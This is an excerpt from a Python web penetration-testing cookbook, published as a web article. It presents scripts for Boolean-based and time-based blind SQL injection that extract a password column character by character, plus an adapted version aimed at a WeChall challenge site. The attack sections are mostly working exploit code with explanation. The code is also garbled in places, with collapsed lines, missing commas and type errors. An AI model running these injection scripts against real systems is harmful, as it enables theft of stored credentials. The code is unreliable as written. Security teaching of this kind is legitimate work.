Search icon CANCEL
Subscription
0
Cart icon
Your Cart (0 item)
Close icon
You have no products in your basket yet
Arrow left icon
Explore Products
Best Sellers
New Releases
Books
Videos
Audiobooks
Learning Hub
Free Learning
Arrow right icon

SQL Injection

Save for later
  • 11 min read
  • 23 Jun 2015

article-image

In this article by Cameron Buchanan, Terry Ip, Andrew Mabbitt, Benjamin May, and Dave Mound authors of the book Python Web Penetration Testing Cookbook, we're going to create scripts that encode attack strings, perform attacks, and time normal actions to normalize attack times.

(For more resources related to this topic, see here.)

Exploiting Boolean SQLi

There are times when all you can get from a page is a yes or no. It's heartbreaking until you realise that that's the SQL equivalent of saying "I LOVE YOU". All SQLi can be broken down into yes or no questions, dependant on how patient you are.

We will create a script that takes a yes value, and a URL and returns results based on a predefined attack string. I have provided an example attack string but this will change dependant on the system you are testing.

How to do it…

The following script is how yours should look:

import requests
import sys
 
yes = sys.argv[1]
 
i = 1
asciivalue = 1
 
answer = []
print "Kicking off the attempt"
 
payload = {'injection': ''AND char_length(password) = 
'+str(i)+';#', 'Submit': 'submit'}   while True: req = requests.post('<target url>' data=payload) lengthtest = req.text if yes in lengthtest:    length = i    break else:    i = i+1   for x in range(1, length): while asciivalue < 126: payload = {'injection': ''AND (substr(password, '+str(x)+', 1)) =
'+ chr(asciivalue)+';#', 'Submit': 'submit'}    req = requests.post('<target url>', data=payload)    if yes in req.text:    answer.append(chr(asciivalue)) break else:      asciivalue = asciivalue + 1      pass asciivalue = 0 print "Recovered String: "+ ''.join(answer)

How it works…

Firstly the user must identify a string that only occurs when the SQLi is successful. Alternatively, the script may be altered to respond to the absence of proof of a failed SQLi. We provide this string as a sys.argv. We also create the two iterators we will use in this script and set them to 1 as MySQL starts counting from 1 instead of 0 like the failed system it is. We also create an empty list for our future answer and instruct the user the script is starting.

yes = sys.argv[1]
 
i = 1
asciivalue = 1
answer = []
print "Kicking off the attempt"

Our payload here basically requests the length of the password we are attempting to return and compares it to a value that will be iterated:

payload = {'injection': ''AND char_length(password) = 
'+str(i)+';#', 'Submit': 'submit'}

We then repeat the next loop forever as we have no idea how long the password is. We submit the payload to the target URL in a POST request:

while True:
req = requests.post('<target url>' data=payload)

Each time we check to see if the yes value we set originally is present in the response text and if so, we end the while loop setting the current value of i as the parameter length. The break command is the part that ends the while loop:

lengthtest = req.text
if yes in lengthtest:
   length = i
   break

If we don't detect the yes value, we add one to i and continue the loop:

else:
   i = i+1re

Using the identified length of the target string, we iterate through each character and, using the ascii value, each possible value of that character. For each value we submit it to the target URL. Because the ascii table only runs up to 127, we cap the loop to run until the ascii value has reached 126. If it reaches 127, something has gone wrong:

for x in range(1, length):
while asciivalue < 126: 
payload = {'injection': ''AND (substr(password, '+str(x)+', 1)) = 
'+ chr(asciivalue)+';#', 'Submit': 'submit'}    req = requests.post('<target url>', data=payload)

We check to see if our yes string is present in the response and if so, break to go onto the next character. We append our successful to our answer string in character form, converting it with the chr command:

if yes in req.text:
   answer.append(chr(asciivalue))
break

If the yes value is not present, we add to the ascii value to move onto the next potential character for that position and pass:

else:
     asciivalue = asciivalue + 1
     pass

Finally we reset ascii value for each loop and then when the loop hits the length of the string, we finish, printing the whole recovered string:

asciivalue = 1
print "Recovered String: "+ ''.join(answer)

There's more…

This script could be potentially altered to handle iterating through tables and recovering multiple values through better crafted SQL Injection strings. Ultimately, this provides a base plate, as with the later Blind SQL Injection script for developing more complicated and impressive scripts to handle challenging tasks. See the Blind SQL Injection script for an advanced implementation of these concepts.

Unlock access to the largest independent learning library in Tech for FREE!
Get unlimited access to 7500+ expert-authored eBooks and video courses covering every tech area you can think of.
Renews at €18.99/month. Cancel anytime

Exploiting Blind SQL Injection

Sometimes life hands you lemons, Blind SQL Injection points are some of those lemons. When you're reasonably sure you've found an SQL Injection vulnerability but there are no errors and you can't get it to return you data. In these situations you can use timing commands within SQL to cause the page to pause in returning a response and then use that timing to make judgements about the database and its data.

We will create a script that makes requests to the server and returns differently timed responses dependant on the characters it's requesting. It will then read those times and reassemble strings.

How to do it…

The script is as follows:

import requests
 
times = []
print "Kicking off the attempt"
cookies = {'cookie name': 'Cookie value'}
 
payload = {'injection': ''or sleep char_length(password);#', 
'Submit': 'submit'} req = requests.post('<target url>' data=payload, cookies=cookies) firstresponsetime = str(req.elapsed.total_seconds)   for x in range(1, firstresponsetime): payload = {'injection': ''or sleep(ord(substr(password,
'+str(x)+', 1)));#', 'Submit': 'submit'} req = requests.post('<target url>', data=payload,
cookies=cookies) responsetime = req.elapsed.total_seconds a = chr(responsetime)    times.append(a)    answer = ''.join(times) print "Recovered String: "+ answer

How it works…

As ever we import the required libraries and declare the lists we need to fill later on. We also have a function here that states that the script has indeed started. With some time-based functions, the user can be left waiting a while. In this script I have also included cookies using the request library. It is likely for this sort of attack that authentication is required:

times = []
print "Kicking off the attempt"
cookies = {'cookie name': 'Cookie value'}

We set our payload up in a dictionary along with a submit button. The attack string is simple enough to understand with explanation. The initial tick has to be escaped to be treated as text within the dictionary. That tick breaks the SQL command initially and allows us to input our own SQL commands. Next we say in the event of the first command failing perform the following command with OR. We then tell the server to sleep one second for every character in the first row in the password column. Finally we close the statement with a semi-colon and comment out any trailing characters with a hash (or pound if you're American and/or wrong):

payload = {'injection': ''or sleep char_length(password);#', 
'Submit': 'submit'}

We then set length of time the server took to respond as the firstreponsetime parameter. We will use this to understand how many characters we need to brute-force through this method in the following chain:

firstresponsetime = str(req.elapsed).total_seconds

We create a loop which will set x to be all numbers from 1 to the length of the string identified and perform an action for each one. We start from 1 here because MySQL starts counting from 1 rather than from zero like Python:

for x in range(1, firstresponsetime):

We make a similar payload as before but this time we are saying sleep for the ascii value of X character of the password in the password column, row one. So if the first character was a lower case a then the corresponding ascii value is 97 and therefore the system would sleep for 97 seconds, if it was a lower case b it would sleep for 98 seconds and so on:

payload = {'injection': ''or sleep(ord(substr(password, 
'+str(x)+', 1)));#', 'Submit': 'submit'}

We submit our data each time for each character place in the string:

req = requests.post('<target url>', data=payload, cookies=cookies)

We take the response time from each request to record how long the server sleeps and then convert that time back from an ascii value into a letter:

responsetime = req.elapsed.total_seconds
a = chr(responsetime)

For each iteration we print out the password as it is currently known and then eventually print out the full password:

answer = ''.join(times)
print "Recovered String: "+ answer

There's more…

This script provides a framework that can be adapted to many different scenarios. Wechall, the web app challenge website, sets a time-limited, blind SQLi challenge that has to be completed in a very short time period. The following is our original script adapted to this environment. As you can see, I've had to account for smaller time differences in differing values, server lag and also incorporated a checking method to reset the testing value each time and submit it automatically:

import subprocess
import requests
 
def round_down(num, divisor):
   return num - (num%divisor)
 
subprocess.Popen(["modprobe pcspkr"], shell=True)
subprocess.Popen(["beep"], shell=True)
 
 
values = {'0': '0', '25': '1', '50': '2', '75': '3', '100': '4', 
'125': '5', '150': '6', '175': '7', '200': '8', '225': '9',
'250': 'A', '275': 'B', '300': 'C', '325': 'D', '350': 'E',
'375': 'F'} times = [] answer = "This is the first time" cookies = {'wc': 'cookie'} setup =
requests.get('http://www.wechall.net/challenge/blind_lighter/
index.php?mo=WeChall&me=Sidebar2&rightpanel=0', cookies=cookies) y=0 accum=0   while 1: reset =
requests.get('http://www.wechall.net/challenge/blind_lighter/
index.php?reset=me', cookies=cookies) for line in reset.text.splitlines():    if "last hash" in line:      print "the old hash was:"+line.split("
     ")[20].strip(".</li>")      print "the guessed hash:"+answer      print "Attempts reset n n"    for x in range(1, 33):      payload = {'injection': ''or IF (ord(substr(password,
     '+str(x)+', 1)) BETWEEN 48 AND
     57,sleep((ord(substr(password, '+str(x)+', 1))-
     48)/4),sleep((ord(substr(password, '+str(x)+', 1))-
     55)/4));#', 'inject': 'Inject'}      req =
requests.post('http://www.wechall.net/challenge/blind_lighter/
index.php?ajax=1', data=payload, cookies=cookies)      responsetime =
str(req.elapsed)[5]+str(req.elapsed)[6]+str(req.elapsed)
[8]+str(req.elapsed)[9]      accum = accum + int(responsetime)      benchmark = int(15)      benchmarked = int(responsetime) - benchmark      rounded = str(round_down(benchmarked, 25))      if rounded in values:        a = str(values[rounded])        times.append(a)        answer = ''.join(times)      else:        print rounded        rounded = str("375")        a = str(values[rounded])        times.append(a)        answer = ''.join(times) submission = {'thehash': str(answer), 'mybutton': 'Enter'} submit =
requests.post('http://www.wechall.net/challenge/blind_lighter/
index.php', data=submission, cookies=cookies) print "Attempt: "+str(y) print "Time taken: "+str(accum) y += 1 for line in submit.text.splitlines():    if "slow" in line:      print line.strip("<li>")    elif "wrong" in line:       print line.strip("<li>") if "wrong" not in submit.text:    print "possible success!"    #subprocess.Popen(["beep"], shell=True)

Summary

We looked at how to attack strings through different penetration attacks via Boolean SQLi and Blind SQL Injection. You will find some various kinds of attacks present in the book throughout.

Resources for Article:


Further resources on this subject: